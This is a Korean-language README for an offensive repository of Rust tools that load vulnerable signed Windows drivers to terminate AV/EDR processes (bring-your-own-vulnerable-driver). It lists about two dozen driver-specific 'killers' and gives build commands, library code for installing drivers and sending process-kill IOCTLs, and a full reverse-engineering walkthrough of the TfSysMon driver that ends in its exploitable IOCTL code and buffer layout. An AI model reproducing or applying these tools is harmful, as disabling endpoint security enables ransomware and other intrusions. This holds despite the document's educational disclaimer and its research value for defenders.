BYOVD

BYOVD는 취약한 드라이버를 악용하여 AV/EDR 솔루션을 비활성화하는 방법을 시연하는 PoC 모음입니다.

이 컬렉션에는 문서화되지 않은 드라이버와 LOLDDrivers 또는 Microsoft의 권장 드라이버 차단 규칙에 이미 포함된 드라이버가 모두 포함되어 있습니다.

최초 발견 이후, TfSysMon 드라이버는 LOLDrivers에 추가되었으며 Sophos 및 ESET이 보고한 바와 같이 랜섬웨어 그룹이 EDRKillShifter 도구를 사용하여 악용하고 있습니다.

📚 목차

• 🔍 개요
• 🏗️ 프로젝트 구조
• 🔧 빌드
• 📦 byovd-lib
• 💡 PoC
• 🔬 완전한 드라이버 리버스 엔지니어링 프로세스 (x64)
• 🔗 참고 자료
• ⚠️ 면책 조항

🔍 개요

BYOVD 기법은 최근 공격적 보안 분야에서 주목을 받고 있으며, 특히 SpyBoy의 Terminator($3,000에 판매) 및 ZeroMemoryEx Blackout 프로젝트와 같은 도구의 출시와 함께 더욱 두각을 나타내고 있습니다. 이러한 도구는 취약한 드라이버를 활용하여 AV/EDR 에이전트를 비활성화하고, 탐지를 줄여 추가 공격을 용이하게 합니다.

이 저장소에는 교육 목적으로 개발된 여러 PoC가 포함되어 있으며, 연구자들이 이러한 드라이버가 프로세스 종료에 어떻게 악용될 수 있는지 이해하는 데 도움을 줍니다.

🏗️ 프로젝트 구조

이 프로젝트는 Rust Cargo 워크스페이스로 구성되어 있습니다. 대부분의 PoC는 드라이버 서비스 수명 주기, IOCTL 디스패치, 프로세스 모니터링, 권한 조정, 정리와 같은 기본 작업을 처리하는 공통 라이브러리(byovd-lib)를 공유합니다. 각 킬러는 드라이버별 구성을 정의하는 얇은 바이너리(약 50-100줄)입니다. K7Terminator, Astra64-Killer, Ktapi-Killer, Xhunter1-Killer는 독립형입니다 — 자체 [workspace] 선언을 가지며 루트 워크스페이스가 아닌 자체 디렉터리에서 직접 빌드됩니다.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

각 `*-Killer/` 디렉토리에는 자체 `Cargo.toml`, `src/main.rs`(`DriverConfig` 구현 + CLI), `README.md`(드라이버 해시 + 사용법), 그리고 바이너리가 런타임에 로드하는 해당 `.sys` 파일이 포함되어 있습니다.

## 🔧 빌드

**전제 조건:** Rust 툴체인과 Windows SDK가 포함된 Visual Studio Build Tools.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

바이너리는 target/release/에 출력됩니다. 실행 전에 해당 .sys 드라이버 파일을 실행 파일과 같은 디렉터리에 복사하세요.

📦 byovd-lib

byovd-lib는 모든 PoC(K7Terminator 제외)가 기반으로 하는 공유 라이브러리입니다. 표준적인 "드라이버 설치, 발견 즉시 종료, 정리" 흐름을 위한 고수준 선언형 API와, 사용자 지정 흐름이 필요한 킬러(이미 로드된 드라이버에 연결, 여러 PID로 분산, 구조화된 IOCTL 버퍼, 사용자 지정 재시도 로직 등)를 위한 저수준 명령형 API라는 두 가지 상호 보완적인 API를 제공합니다. 둘 다 동일한 바이너리에서 혼합하여 사용할 수 있습니다.

모듈 구조```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### High-level API: `DriverConfig` 트레이트 + `run()`

번들된 킬러들이 사용하는 방식입니다. 트레이트를 구현하고 `byovd_lib::run()`을 호출하면 끝입니다.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run()은 다음을 수행합니다: preflight_check → 서비스 설치(SERVICE_DEMAND_START) → StartService → 발견 즉시 종료 모니터(Ctrl+C로 종료) → 서비스 중지 및 삭제.

기본값이 있는 선택적 트레이트 오버라이드:

저수준 API: 명령형 구성 요소

트레이트 흐름이 맞지 않는 경우(예: 드라이버가 이미 로드되어 IOCTL 하나만 실행하려는 경우, 사용자 지정 재시도 정책이 필요한 경우, IOCTL이 PID가 아닌 구조화된 입력을 받는 경우, 또는 일치하는 모든 PID에 분산 실행하려는 경우) 저수준 구성 요소를 직접 조합하세요.

드라이버 수명 주기 -- ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL 디스패치** — `DeviceHandle`은 다섯 가지 유형화된 형태를 제공합니다:

| 메서드 | 사용 시점 |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | 입력 및 출력 버퍼가 모두 필요하고, 타입이 서로 다른 경우 |
| `ioctl_inout<T>(code, &mut data)` | 입력과 출력에 동일한 버퍼를 사용하는 경우 |
| `ioctl_in<I>(code, &input)` | 입력만 있고 출력 버퍼가 없는 경우 |
| `ioctl_in_unchecked<I>(code, &input)` | 입력만 있고, 실패를 무시하는 경우(`ignore_ioctl_error`의 호출별 대안) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | 원시 포인터 탈출구 |

유형화된 형태는 IOCTL이 구조체(예: `{ pid: u32, padding: [u8; 20] }`)를 사용할 때 수동으로 `to_ne_bytes()` / `extend_from_slice()`를 작성하는 번거로움을 제거합니다.

**프로세스 조회** — `find_pid_by_name(name)`(첫 번째 일치 항목) 및 `find_all_pids_by_name(name)`(모든 일치 항목, 시스템 PID ≤ 4 제외).

**사용자 정의 모니터 루프** — `run_monitor_loop(name, interval, |pid| ...)`는 클로저를 받아 일치 항목별로 원하는 작업(여러 IOCTL 호출, 구조화된 로깅, 여러 PID로의 팬아웃, 오류 시 재시도)을 수행할 수 있게 합니다.

**권한** — 명시적 토큰 권한이 필요한 드라이버의 경우 `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")`를 사용합니다. `ensure_running_as_local_system()`은 프로세스가 `S-1-5-18`로 실행되고 있지 않으면 오류를 반환합니다.

**핸들 래퍼** — `WinHandle`(자동 `CloseHandle`) 및 `ScHandle`(자동 `CloseServiceHandle`)은 `Send + Sync`이며 스레드 간에 이동할 수 있습니다.

### 예제: 이미 로드된 드라이버에 연결, 서비스 수명 주기 없음

이것이 `UnknownKiller --attach`가 수행하는 작업입니다 — SCM을 완전히 건너뛰고, 장치를 열고 IOCTL을 한 번만 실행합니다:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

이전 버전 호환 별칭

FileHandle / ServiceHandle는 여전히 WinHandle / ScHandle로 확인되며, get_pid_by_name은 find_pid_by_name의 별칭으로 유지되므로 해당 이름을 참조하는 기존 코드도 계속 컴파일됩니다.

💡 PoC

다음은 이 저장소에서 제공되는 드라이버와 각각의 PoC입니다:

• AppRemover-Killer: OPSWAT AppRemover의 ardrv.sys를 대상으로 합니다.
• Astra64-Killer: EnTech Taiwan(Astra32 / TVicHW)의 astra64.sys를 대상으로 합니다 -- 독립형 데이터 전용 Shadow SSDT 하이재킹 EDR 킬러.
• BdApiUtil-Killer: Baidu AntiVirus의 BdApiUtil64.sys를 대상으로 합니다 (CVE-2024-51324).
• CcProtect-Killer: CnCrypt의 CcProtect.sys를 대상으로 합니다.
• EnPortv-Killer: Guidance EnCase의 EnPortv.sys를 대상으로 합니다.

🔬 완전한 드라이버 리버스 엔지니어링 프로세스 (x64)

이 섹션에서는 TfSysMon 드라이버를 실제 예제로 사용하여 A-Z 전체 리버스 엔지니어링 방법론을 보여줍니다. 이 프로세스는 모든 x64 Windows 커널 드라이버 분석에 적용됩니다.

🎯 0단계: 사전 분석 - 함수 가져오기 검사

리버스 엔지니어링을 시작하기 전에 드라이버 가져오기(imports)를 확인하세요.

기본적인 프로세스 킬러 드라이버에는 다음 2가지가 필요합니다:

프로세스에 대한 핸들을 얻는 방법 (예: ZwOpenProcess 또는 NtOpenProcess)

프로세스를 종료하는 방법 (예: ZwTerminateProcess 또는 NtTerminateProcess)

드라이버가 두 함수 유형을 모두 가져오는지 확인하세요. 드라이버의 가져온 함수에 Nt/ZwOpenProcess AND Nt/ZwTerminateProcess가 모두 있다면 잠재적인 프로세스 킬러 드라이버 후보입니다.

이러한 가져오기를 확인한 후에만 IDA Pro에서 상세 리버스 엔지니어링을 진행해야 합니다.

🛠️ x64 드라이버 분석을 위한 사전 요구 사항

필요한 도구:

• IDA Pro - 정적 분석을 위한 드라이버 디스어셈블리용
• OSRLoader - 드라이버 로드/실행용 (sc.exe 명령의 대안)

📍 1단계: DriverEntry 찾기 및 분석

모든 Windows 드라이버는 DriverEntry로 시작합니다 - 먼저 이 함수를 찾으세요:

TfSysMon에서 DriverEntry는 다음과 같습니다:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**분석 참고 사항:**
- 코드는 BugCheckParameter2 및 BugCheckParameter3으로 일부 초기화를 수행합니다.
- 실제 드라이버 초기화는 `sub_17484`에서 이루어집니다.
- `sub_17484(DriverObject)` 호출을 따라가세요. 실제 드라이버 설정이 발생하는 곳입니다.

### 📍 2단계: 드라이버 초기화 체인 추적

**초기화 함수(`sub_17484`)로 이동:**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

주요 리버스 엔지니어링 발견 사항:

• 디바이스 이름: \\Device\\TfSysMon (커널 공간)
• 심볼릭 링크: \\DosDevices\\TfSysMon (사용자 모드에서 \\.\\TfSysMon으로 접근 가능)
• 디바이스 유형: 0x22 = FILE_DEVICE_UNKNOWN
• IRP 핸들러: 모든 주요 함수가 sub_17694를 가리킴
• 대상 함수: MajorFunction[14] = IRP_MJ_DEVICE_CONTROL 핸들러

📍 3단계: IRP 디스패치 함수 분석

디스패치 함수(sub_17694)로 이동:```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**리버스 엔지니어링 분석:**
- 장치 검증이 먼저 수행됨 (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction`이 작업 유형을 결정함
- **중요**: MajorFunction 값 14(0xE)와 15(0xF)는 `sub_177D8`을 호출함
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL 처리
- 취약한 코드 경로는 다음과 같음: **IOCTL 요청 → sub_177D8**

### 📍 4단계: IOCTL 핸들러 리버스 엔지니어링

**IOCTL 처리 함수(`sub_177D8`)로 이동:**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

중요한 리버스 엔지니어링 발견 사항:

• IOCTL 추출: v7 = *(_DWORD *)(a2 + 24)는 IO_STACK_LOCATION에서 IOCTL 코드를 가져옵니다
• 입력 버퍼: Irp->AssociatedIrp.MasterIrp에는 사용자 데이터가 포함됩니다
• 버퍼 길이: v9 = *(unsigned int *)(a2 + 16)는 입력 버퍼 크기를 가져옵니다
• 취약한 IOCTL: 0xB4A00404는 sub_1837C로 이어집니다
• 크기 검사: 버퍼가 0x18(24바이트) 이상인지만 검증합니다 - 최소한의 검증만 수행합니다!

📍 5단계: 취약한 함수 분석

프로세스 종료 함수(sub_1837C)로 이동합니다:```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**기능 분석:**
- **입력 구조**: 드라이버 코드 분석을 통해 PID가 오프셋 +4에 있는 버퍼 레이아웃을 확인했습니다
- **입력 파싱**: `v3 = *(void **)(a1 + 4)`는 입력 버퍼의 오프셋 +4에서 PID를 추출합니다
- **프로세스 열기**: 최소 접근 권한(1u = PROCESS_TERMINATE)으로 `ZwOpenProcess` 호출
- **보안 검사 없음**: 호출자 권한 또는 대상 프로세스 보호에 대한 검증이 없음
- **프로세스 종료**: `ZwTerminateProcess` 직접 호출
- **재시도 로직**: 열기와 종료 모두에 대해 여러 번 시도
- **모든 프로세스**: SYSTEM 계정이 접근할 수 있는 모든 프로세스를 종료할 수 있음

### 📍 6단계: 전체 공격 체인 매핑

**전체 리버스 엔지니어링 흐름:**
1. **진입점**: 사용자가 `\\.\\TfSysMon`에서 `DeviceIoControl` 호출
2. **IRP 생성**: I/O 관리자가 MajorFunction = 14로 IRP 생성
3. **디스패치**: `sub_17694`가 IOCTL 처리를 위해 `sub_177D8`로 라우팅
4. **IOCTL 확인**: `sub_177D8`가 IOCTL 코드 `0xB4A00404` 및 버퍼 크기 ≥ 24바이트 검증
5. **실행**: 사용자 입력 버퍼로 `sub_1837C` 호출
6. **종료**: `sub_1837C`가 오프셋 +4에서 PID를 추출하고 `ZwTerminateProcess`를 통해 프로세스 종료

**입력 버퍼 구조 (드라이버 리버스 엔지니어링 기반):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

이 방법론은 사용자 모드 통신에서 위험한 커널 작업까지의 실행 경로를 추적하여 Windows x64 커널 드라이버를 체계적으로 리버스 엔지니어링하고 유사한 취약점을 식별하는 방법을 보여줍니다.

지원 🍺

BYOVD가 레드 팀 운영에 도움이 되었다면, 저에게 맥주 한 잔 사주세요:

🔗 참고 자료

• Alice Climent-Pommeret의 블로그: LOL로 프로세스 킬러 드라이버 찾기 및 악용하기 ($3000)
• LOLDrivers: 알려진 취약 드라이버의 중앙 저장소
• Microsoft 드라이버 차단 규칙: Microsoft 권장 드라이버 차단 규칙
• Windows 커널 프로그래밍 - Pavel Yosifovich 저
• Windows Internals, Part 1 & 2 - Mark E. Russinovich, Alex Ionescu, David Solomon 저

⚠️ 면책 조항

BYOVD 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 저자는 이러한 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 어떤 시스템에서든 이러한 도구를 사용하기 전에 항상 명시적인 허가를 받으십시오.